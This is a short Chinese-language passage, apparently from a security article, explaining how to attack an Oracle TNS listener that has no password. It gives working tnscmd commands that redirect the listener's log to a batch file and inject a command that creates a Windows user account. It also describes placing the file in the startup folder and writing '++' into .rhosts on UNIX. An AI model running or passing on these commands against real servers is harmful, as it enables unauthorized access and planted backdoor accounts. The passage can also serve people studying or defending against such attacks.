其次,另一类攻击和日志文件有关。只有当未给listener设置口令的时候,攻击才会有效。
假设某个listener没有设置口令,攻击方法如下:
将日志目录设置到C盘
TNScmd -h1521 –rawcmd “(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=)) (COMMAND=log_directory)(ARGUMENTS=4)(SERVICE=listener)(VERSION=1)(VALUE=c:)))” |
将日志文件设置为test.bat
TNScmd -h www.example.com -p 1521 –rawcmd “(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=listener)(VERSION=1)(VALUE=test.bat)))” |
TNScmd -h www.example.com –rawcmd “(CONNECT_DATA=(( ||dir >test.txt||net user test test /add))”该命令把
dir >test.txt、net user test test /add命令写入c:test.bat文件,由于双竖线的作用(第一条命令执行失败后,WINDOWS命令解释器执行后面的命令)把错误的信息注释掉, 从而可以执行我们提交的命令。
通过设置日志文件到不同的目录,例如WINDOWS的启动目录,当服务器重启将执行恶意用户提交的特定代码,从而对系统造成威胁。
运行于UNIX系统上的Oracle也会受到同样的威胁。其中一种方法就是将“++”回送给.rhost文件,当系统运行时,使用r*services命令。